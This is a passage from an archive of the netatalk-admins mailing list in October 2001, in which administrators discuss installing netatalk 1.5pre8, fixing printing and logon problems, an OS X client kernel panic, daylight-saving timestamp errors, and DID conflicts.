X-SHLINK-AntiVirus: Mail autoscanned by SHLINK-VirusScan

Hy,
where is the INSTALL document the root directory of the 1.5pre8 archiv.
Im trying to intstall it on RH7.1 but after make install I'm stucked.
Is tehere a step by step guide anywhere ?

_________________________
mit freundlichen Grüssen

Kay Galba
Technische Leitung
PCS New Media GmbH
Ruhrstrasse 11
22761 Hamburg

Telefon   +49 (0)40  85 17 92 - 0
E-Mail     k.galba@pcshome.de
Web        www.pcshome.de
_______________________________



From netatalk.administrators-errors@umich.edu  Wed Oct 24 14:22:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA24247
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 24 Oct 2001 14:22:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA29636
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 24 Oct 2001 14:22:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA29626
	for netatalk.administrators-members@umich.edu; Wed, 24 Oct 2001 14:22:40 -0400 (EDT)
Received: from clavin2.unet.brandeis.edu (clavin2.unet.brandeis.edu [129.64.99.33])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA29608
	for <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 14:22:38 -0400 (EDT)
Received: from squirrel.bio.brandeis.edu (squirrel.bio.brandeis.edu [129.64.81.16])
	by clavin2.unet.brandeis.edu (8.9.3/8.9.3/UNet2.2) with ESMTP id OAA12150;
	Wed, 24 Oct 2001 14:22:32 -0400
Date: Wed, 24 Oct 2001 14:22:32 -0400 (EDT)
From: Steven Karel <karelsf@brandeis.edu>
X-X-Sender:  <karelsf@squirrel.bio.brandeis.edu>
To: Kay Galba <k.galba@pcshome.de>
cc: <netatalk-admins@umich.edu>
Subject: Re: Install Instruction 1.5pre8 needed
In-Reply-To: <NEBBLOAADPIAMOADLLOFKEGPCFAA.k.galba@pcshome.de>
Message-ID: <Pine.LNX.4.33.0110241419240.20148-100000@squirrel.bio.brandeis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT

after make install, you can probably start it up with default settings by 
running (if you configured with --enable-redhat) 

	/etc/rc.d/init.d/atalk start

as root. It's worth doing as a test.

More likely, though, you should take a look at, and possibly edit, the 
following files

	afpd.conf
	netatalk.conf
	atalkd.conf
	AppleVolumes.default

Depending on how you configured, these may wind up in different places. On 
my machine, they're all in 

	/usr/local/atalk/etc/netatalk



- steven


On Wed, 24 Oct 2001, 
Kay Galba wrote:

> Hy,
> where is the INSTALL document the root directory of the 1.5pre8 archiv.
> Im trying to intstall it on RH7.1 but after make install I'm stucked.
> Is tehere a step by step guide anywhere ?
> 
> _________________________
> mit freundlichen Grüssen
> 
> Kay Galba
> Technische Leitung
> PCS New Media GmbH
> Ruhrstrasse 11
> 22761 Hamburg
> 
> Telefon   +49 (0)40  85 17 92 - 0
> E-Mail     k.galba@pcshome.de
> Web        www.pcshome.de
> _______________________________
> 
> 

-- 
Steven Karel, Ph.D.
Biology Department, Brandeis Univ, MS 008
415 South St Waltham MA 02454-9110
TEL 781 736 3104   FAX 781 736 3107


From netatalk.administrators-errors@umich.edu  Wed Oct 24 22:30:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA16250
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 24 Oct 2001 22:30:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA12725
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 24 Oct 2001 22:30:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA12722
	for netatalk.administrators-members@umich.edu; Wed, 24 Oct 2001 22:30:24 -0400 (EDT)
Received: from mta7.srv.hcvlny.cv.net (mta7.srv.hcvlny.cv.net [167.206.5.22])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA12709
	for <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 22:30:23 -0400 (EDT)
Received: from ool-18bcc684.dyn.optonline.net
 (ool-18bcc684.dyn.optonline.net [24.188.198.132]) by mta7.srv.hcvlny.cv.net
 (iPlanet Messaging Server 5.0 Patch 2 (built Dec 14 2000))
 with ESMTP id <0GLQ00KG4PMN5R@mta7.srv.hcvlny.cv.net> for
 netatalk-admins@umich.edu; Wed, 24 Oct 2001 22:30:23 -0400 (EDT)
Date: Wed, 24 Oct 2001 22:29:50 -0400
From: Mark Licker <mdlicker@optonline.net>
Subject: Re: Difficulties printing to non-ps printer
In-reply-to: <01102405234500.00515@athlet>
To: deltor@snafu.de
Cc: netatalk-admins@umich.edu
Message-id: <1003976990.3204.1.camel@mdllinux>
MIME-version: 1.0
X-Mailer: Evolution/0.13 (Preview Release)
Content-type: text/plain
Content-transfer-encoding: 7BIT
References: <1003882983.2990.68.camel@mdllinux> <01102403135000.24206@athlet>
 <1003890791.3594.10.camel@mdllinux> <01102405234500.00515@athlet>

On Tue, 2001-10-23 at 23:03, Carsten Neumann wrote:
> On Wed, 24 Oct 2001, Mark Licker wrote:
> [snip]
> > My apologies for the misprints. The lines in papd.conf are as follows:
> > 	lp:\
> > 		:pr=lp:op=mdl:\
> > 		:pd=/etc/cups/ppd/lp.ppd:
> > The /etc/printcap file contains one line:
> > lp:
> 
> Can you print locally to your printer?
> If yes, you may replace the :pr=lp: field of your papd.conf by
> :pr=|<your_print_spooling_command_line>:
> 
> I don't know CUPS but for lpr this would be
> 	:pr=|/usr/bin/lpr -Plp:
> or more simple
> 	:pr=|/usr/bin/lpr:
> 
> This worked for me.
> 
> Kind regards
> 
> 	Carsten
> 
> 
> P.S.: This list's daemon doesn't append a `Reply to:' field. (very ugly!)
> Therefore you have to edit the `To:' field by hand or do a `reply to all'
> so that all subscribers can participate.
> 
> Another thing:
> Can all `Out of office' repliers stop sending those messages to mailing lists, please!?
> 
Thanks very much for your help in resolving this problem.
Mark



From netatalk.administrators-errors@umich.edu  Thu Oct 25 07:25:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA04674
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 25 Oct 2001 07:25:17 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA15604
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 25 Oct 2001 07:25:17 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA15602
	for netatalk.administrators-members@umich.edu; Thu, 25 Oct 2001 07:25:17 -0400 (EDT)
Received: from mail-r5.shlink.de (mail-r5.shlink.de [212.60.1.141])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id HAA15592
	for <netatalk-admins@umich.edu>; Thu, 25 Oct 2001 07:25:15 -0400 (EDT)
Received: (qmail 8519 invoked from network); 25 Oct 2001 11:25:11 -0000
Received: from mail-r3.shlink.de (212.60.1.6)
	  by mail-r5.shlink.de with SMTP; 25 Oct 2001 11:25:11 -0000
Received: (qmail 23014 invoked from network); 25 Oct 2001 11:25:07 -0000
Received: from gate.pcshome.de (HELO kay) (212.60.3.38)
	  by mail-r3.shlink.de with SMTP; 25 Oct 2001 11:25:07 -0000
Reply-To: <k.galba@pcshome.de>
From: "Kay Galba" <k.galba@pcshome.de>
To: <netatalk-admins@umich.edu>
Subject: UserLogon fails, guest logon OK 1.5pre8 and Redhat 7.1
Date: Thu, 25 Oct 2001 13:25:05 +0200
Message-ID: <NEBBLOAADPIAMOADLLOFCEHFCFAA.k.galba@pcshome.de>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
X-SHLINK-AntiVirus: Mail autoscanned by SHLINK-VirusScan

Hy,
from Mac chooser  and PCMACLAN guest logon is OK  User logon fails !
Any Clue

_________________________
mit freundlichen Grüssen

Kay Galba
Technische Leitung
PCS New Media GmbH
Ruhrstrasse 11
22761 Hamburg

Telefon   +49 (0)40  85 17 92 - 0
E-Mail     k.galba@pcshome.de
Web        www.pcshome.de
_______________________________


From netatalk.administrators-errors@umich.edu  Thu Oct 25 10:49:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA11545
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 25 Oct 2001 10:49:42 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA15210
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 25 Oct 2001 10:49:42 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA15203
	for netatalk.administrators-members@umich.edu; Thu, 25 Oct 2001 10:49:41 -0400 (EDT)
Received: from morpheus.webprojkt.com (morpheus.webprojkt.com [209.61.155.148])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id KAA15187
	for <netatalk-admins@umich.edu>; Thu, 25 Oct 2001 10:49:41 -0400 (EDT)
Received: (qmail 4977 invoked from network); 25 Oct 2001 14:49:40 -0000
Received: from cl3017266-b.mdsn1.wi.home.com (HELO localhost) (24.183.6.53)
  by morpheus.webprojkt.com with SMTP; 25 Oct 2001 14:49:40 -0000
Date: Thu, 25 Oct 2001 09:49:39 -0500
Subject: Re: 1.5pre8 - OSX 10.1 kernel panic (client)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v472)
Cc: netatalk-admins@umich.edu, Leland Wallace <randall@apple.com>
To: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
From: Brice D Ruth <brice@webprojkt.com>
In-Reply-To: <a05101000b7fbbb49aa67@[192.168.1.201]>
Message-Id: <846E5434-C957-11D5-9620-003065A65284@webprojkt.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.472)

I'm not sure if you've been told this already, but if you haven't done 
so already, I'd suggest you file a bug at bugreport.apple.com (I believe 
that's the URL - if not, its close :)).  Apple will definitely want to 
know about this since they appreciate that many, many places use 
netatalk systems and they're constantly striving to make OS X as stable 
as possible!

Sincerely,
Brice Ruth

On Tuesday, October 23, 2001, at 08:23 PM, Lorenzo Perone wrote:

> Hi all,
>
> Just thought to give a notice about a kernel panic on OSX 10.1 that 
> occurred to me shortly after connection to a netatalk 1.5p8 (CVS build 
> of 2001.10.10, --enable-cnid-db) share running on SuSE Linux 7.2/i686.
>
> I could reproduce it at any time: connect, enter password, choose 
> share, double click, panic.
> It happened only with one specific share on the same server. the 
> others  mounted and worked well.
>
> I guess the cause was a missing resource part for the .VolumeIcon.icns 
> file
> (this file was created by OS X after pasting an icon on the share 
> volume).
> The resource part was missing because I had removed manually that 
> particular .AppleDouble directory before.
>
> Removing the remaining .VolumeIcon.icns data file caused the share to 
> be mounted without panic;
> Re-pasting the icon onto the volume afterwards and 
> unmounting/remounting also showed no more panics....
>
> It shouldn't be such a common scenario, but a kernel panic is nasty.
>
> Notes:
> - It should not be that easy to crash an OSX client.... ;-)
> - Maybe adding the right type/creator in AppleVolumes.system for .icns 
> files will help preventing this, as I can't find anything else in those 
> .AppleDouble/ .VolumeIcon.icns than type/creator information.
>
>
> Regards,
> Lorenzo
>
>
>
WebProjkt, Inc.
VP, Director of Internet Technology
http://www.webprojkt.com/


From netatalk.administrators-errors@umich.edu  Thu Oct 25 13:51:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA19116
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 25 Oct 2001 13:51:27 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA18844
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 25 Oct 2001 13:51:27 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA18821
	for netatalk.administrators-members@umich.edu; Thu, 25 Oct 2001 13:51:27 -0400 (EDT)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA18764
	for <netatalk-admins@umich.edu>; Thu, 25 Oct 2001 13:51:25 -0400 (EDT)
Received: from mailgate2.apple.com (A17-129-100-225.apple.com [17.129.100.225])
	by mail-out1.apple.com (8.11.3/8.11.3) with ESMTP id f9PHpOu05573
	for <netatalk-admins@umich.edu>; Thu, 25 Oct 2001 10:51:24 -0700 (PDT)
Received: from scv3.apple.com (scv3.apple.com) by mailgate2.apple.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T56cfe501a9118164e13b4@mailgate2.apple.com>;
 Thu, 25 Oct 2001 10:51:19 -0700
Received: from wallle (wallle.apple.com [17.221.40.211])
	by scv3.apple.com (8.11.3/8.11.3) with ESMTP id f9PHpIh20248;
	Thu, 25 Oct 2001 10:51:18 -0700 (PDT)
Date: Thu, 25 Oct 2001 10:51:17 -0700
Subject: Re: 1.5pre8 - OSX 10.1 kernel panic (client)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v472)
Cc: Leland Wallace <randall@apple.com>,
        Lorenzo Perone <lopez.on.the.lists@yellowspace.net>,
        netatalk-admins@umich.edu
To: Brice D Ruth <brice@webprojkt.com>
From: Leland Wallace <randall@apple.com>
In-Reply-To: <846E5434-C957-11D5-9620-003065A65284@webprojkt.com>
Message-Id: <E4481E47-C970-11D5-826C-000A279495A2@apple.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.472)


On Thursday, October 25, 2001, at 07:49 AM, Brice D Ruth wrote:

> I'm not sure if you've been told this already, but if you haven't done 
> so already, I'd suggest you file a bug at bugreport.apple.com (I 
> believe that's the URL - if not, its close :)).  Apple will definitely 
> want to know about this since they appreciate that many, many places 
> use netatalk systems and they're constantly striving to make OS X as 
> stable as possible!
>
> Sincerely,
> Brice Ruth

Brice is correct,
   Please send bugreports to Apple at https://bugreport.apple.com. I 
monitor this list, but it's best if the problem reports
get into the system so they can be tracked. When reporting kernel 
panics, we need all the text put up on the screen,
as well as the build of the system (look at the about this mac dialog & 
click on the "version" string). If you are seeing
basic weirdness, a packet trace would be really helpful. We tend to use 
etherpeek, but Ethereal looks like it should
work just fine. For login problems it is helpful to launch the Finder 
from terminal after setting the env variable
AFP_DEBUG_LEVEL to 8 and trying to reproduce the problem. This turns on 
the logging built into the AppleShare Client,
It will spew reams of info to stderr.

Hope this helps
Leland Wallace
AppleShare Client Lead

+-----------------------------------------------------------------------------------
Leland Wallace           Working in            AppleShare Engineering
randall@apple.com    but not speaking for      Apple Computer Inc.
http://www2.inow.com/~randall
+-----------------------------------------------------------------------------------


From netatalk.administrators-errors@umich.edu  Fri Oct 26 12:25:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA17996
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 26 Oct 2001 12:25:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA26818
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 26 Oct 2001 12:25:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA26805
	for netatalk.administrators-members@umich.edu; Fri, 26 Oct 2001 12:25:01 -0400 (EDT)
Received: from yellowspace.net (customer-host-145.yellowspace.net [213.183.5.145])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA26766
	for <netatalk-admins@umich.edu>; Fri, 26 Oct 2001 12:24:59 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000109928; Fri, 26 Oct 2001 18:25:00 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05101001b7ff3546a7cf@[192.168.1.201]>
In-Reply-To: <E4481E47-C970-11D5-826C-000A279495A2@apple.com>
References: <E4481E47-C970-11D5-826C-000A279495A2@apple.com>
Date: Fri, 26 Oct 2001 18:24:44 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: 1.5pre8 - OSX 10.1 kernel panic (client)
Cc: Brice D Ruth <brice@webprojkt.com>, Leland Wallace <randall@apple.com>
Content-Type: text/plain; charset="us-ascii"

Got it.
As soon as a digicam pops up again in the office, I'll make a screenshot and try to upload it with a report to that address.

Meanwhile there's an update to the issue: it looks like the problem is not solved with the .VolumeIcon.icns stuff. I had the panic again, this time on the share that used to work. Deleting the .AppleDouble directory (this was not deleted previously, so it was legacy of netatalk 1.4asun214. It contained only the .parent file) and restarting netatalk seemed to do the trick once again, but I'm not sure about it anymore and will investigate further as time permits.

Another 'detail' about those two problematic shares of mine:
one of them is made up of symbolic links to directories which are, in fact, sub-subdirectories of the other share.

To clarify:
share 1: share 'projects'
/projects/customername/customername.workdir
these are all real directories.

share 2: workdirs
/workdirs/customername.workdir
workdirs is a real directory, whereas customername.workdir is a ln -s to /projects/customername/customername.workdir

It used to work with 1.4+asun2.14,
I wonder whether the cnid-db stuff is getting confused here. Is this possible?


[ I know it sounds like a strange environment, but this solution is a feature we definitively need here! ;-) ]

:-)

Regards,

Lorenzo

At 10:51 Uhr -0700 25.10.2001, Leland Wallace wrote:
>On Thursday, October 25, 2001, at 07:49 AM, Brice D Ruth wrote:
>
>>I'm not sure if you've been told this already, but if you haven't done so already, I'd suggest you file a bug at bugreport.apple.com (I believe that's the URL - if not, its close :)).  Apple will definitely want to know about this since they appreciate that many, many places use netatalk systems and they're constantly striving to make OS X as stable as possible!
>>
>>Sincerely,
>>Brice Ruth
>
>Brice is correct,
>  Please send bugreports to Apple at https://bugreport.apple.com. I monitor this list, but it's best if the problem reports
>get into the system so they can be tracked. When reporting kernel panics, we need all the text put up on the screen,
>as well as the build of the system (look at the about this mac dialog & click on the "version" string). If you are seeing
>basic weirdness, a packet trace would be really helpful. We tend to use etherpeek, but Ethereal looks like it should
>work just fine. For login problems it is helpful to launch the Finder from terminal after setting the env variable
>AFP_DEBUG_LEVEL to 8 and trying to reproduce the problem. This turns on the logging built into the AppleShare Client,
>It will spew reams of info to stderr.
>
>Hope this helps
>Leland Wallace
>AppleShare Client Lead
>
>+-----------------------------------------------------------------------------------
>Leland Wallace           Working in            AppleShare Engineering
>randall@apple.com    but not speaking for      Apple Computer Inc.
>http://www2.inow.com/~randall
>+-----------------------------------------------------------------------------------


From netatalk.administrators-errors@umich.edu  Sun Oct 28 22:19:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA07689
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 28 Oct 2001 22:19:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA13190
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 28 Oct 2001 22:19:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA13182
	for netatalk.administrators-members@umich.edu; Sun, 28 Oct 2001 22:19:17 -0500 (EST)
Received: from mta02.mail.mel.aone.net.au (mta02.mail.au.uu.net [203.2.192.82])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA13149
	for <netatalk-admins@umich.edu>; Sun, 28 Oct 2001 22:19:15 -0500 (EST)
Received: from faxserver ([63.34.220.81]) by mta02.mail.mel.aone.net.au
          with ESMTP
          id <20011029031912.MCSM10115.mta02.mail.mel.aone.net.au@faxserver>
          for <netatalk-admins@umich.edu>; Mon, 29 Oct 2001 14:19:12 +1100
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 15y1u0-0001VG-00
	for <netatalk-admins@umich.edu>; Mon, 29 Oct 2001 13:11:48 +1100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 29 Oct 2001 13:11:47 +1100
Subject: Timestamp and daylight saving
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: netatalk <netatalk-admins@umich.edu>
Message-ID: <B8030612.2C29%editor.ac@churchesofchrist.org.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi,

We are running a netatalk server (1.5pre6) on linux (Debian).

We have changed to daylight saving on the Australian East coast this
weekend. Now, the timestamps on my server files as viewed by a Mac through
the share are 1 hour out. ls -l on the Linux box gives the correct
timestamp.

e.g. 
Viewed in the Finder the timestamp is 11.57 am.
Viewed using Linux ls -l timestamp is 12.57

When executing the "date" command, the time given is correct (the server
operates internally on UTC), so this is not the problem. The timestamp as
viewed by the Linux ls command is correct, the file was modified at 12.57
Eastern *Daylight* Time.

Is this a bug or is some setting incorrect?

TIA
Nigel.


From netatalk.administrators-errors@umich.edu  Sun Oct 28 22:39:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA08308
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 28 Oct 2001 22:39:52 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA26805
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 28 Oct 2001 22:39:52 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA26784
	for netatalk.administrators-members@umich.edu; Sun, 28 Oct 2001 22:39:52 -0500 (EST)
Received: from rival.cmgraphics.net (mail.cmgraphics.net [205.150.212.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA26459
	for <netatalk-admins@umich.edu>; Sun, 28 Oct 2001 22:39:43 -0500 (EST)
Received: from jasonzegdusv3b ([205.150.212.5])
	by rival.cmgraphics.net (8.10.2+Sun/8.10.2) with SMTP id f9T3cDQ01424
	for <netatalk-admins@umich.edu>; Sun, 28 Oct 2001 22:38:13 -0500 (EST)
Message-ID: <001301c1602b$5970cef0$05d496cd@jasonzegdusv3b>
From: "Jason Lam" <lamj-list2@cmgraphics.net>
To: <netatalk-admins@umich.edu>
Subject: Experience with 1.5pre8
Date: Sun, 28 Oct 2001 22:39:43 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

I just setup a production machine with netatalk, just want to share my
experience (painful) with other admins on this list and hopefully will get
some hints or tips on improving my setup.

I first went with RH 7.1 and a customed kernel (2.4.9), using ext2 as the
main file system, the disk array is a icp (Intel) controller driven 250G
RAID 5. I tried to patch RH7.1's GCC and libc, however, it seems that this
will break things for netatalk and other server apps that I am running, so,
re-install of 7.1 again. On the fresh plaform, I compiled netatalk with
almost everything default except path, everything seems fine, tried to
populate the server with files, I notice that folders are starting to go
missing, I am losing a lot of folders. Checking syslog shows massive amount
of DID conflict, so I should have --with-lastdid, compiled with this option,
still losing a lot of folders.

Next thing I tried was with reiserfs and --enable-lastdid (which should be
the same as --with-lastdid), then the system seems to be stable now. Been
two days without a DID conflict yet. My server is resonably heavy loaded.

I also compiled with --with-flock-locks, but I am still having trouble in
Quark with "file in use" messages when saving. Is there anyway I could get
rid of this problem?

Why is my netatalk shows pre7 when I am sure I downloaded pre8?


Jason Lam


From netatalk.administrators-errors@umich.edu  Mon Oct 29 08:30:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA27619
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 29 Oct 2001 08:30:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA28031
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 29 Oct 2001 08:30:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA28013
	for netatalk.administrators-members@umich.edu; Mon, 29 Oct 2001 08:30:07 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA27975
	for <netatalk-admins@umich.edu>; Mon, 29 Oct 2001 08:30:06 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f9TDU4D29459
	for <netatalk-admins@umich.edu>; Mon, 29 Oct 2001 14:30:05 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f9TDU4r26854
	for netatalk-admins@umich.edu; Mon, 29 Oct 2001 14:30:04 +0100
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15yCJm-0000oe-00
	for <netatalk-admins@umich.edu>; Mon, 29 Oct 2001 14:19:06 +0100
Date: Mon, 29 Oct 2001 14:19:06 +0100
To: netatalk-admins@umich.edu
Subject: Re: Experience with 1.5pre8
Message-ID: <20011029141906.D2897@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <001301c1602b$5970cef0$05d496cd@jasonzegdusv3b>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <001301c1602b$5970cef0$05d496cd@jasonzegdusv3b>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Sun, Oct 28, 2001 at 10:39:43PM -0500, Jason Lam wrote:

> Next thing I tried was with reiserfs and --enable-lastdid (which should be
> the same as --with-lastdid), then the system seems to be stable now. Been
> two days without a DID conflict yet. My server is resonably heavy loaded.

Actually, looking at the source there is neither. The only DID related
option is --with-did=last. I admit that the documentation in pre8 was
unfortunatly wrong in this regard.

> Why is my netatalk shows pre7 when I am sure I downloaded pre8?

Bug. The version number was not incremented. It is pre8.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Mon Oct 29 19:23:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA01783
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 29 Oct 2001 19:23:00 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA26363
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 29 Oct 2001 19:23:00 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA26360
	for netatalk.administrators-members@umich.edu; Mon, 29 Oct 2001 19:23:00 -0500 (EST)
Received: from mail.datataker.com.au (datataker.com.au [203.52.180.73])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id TAA26299
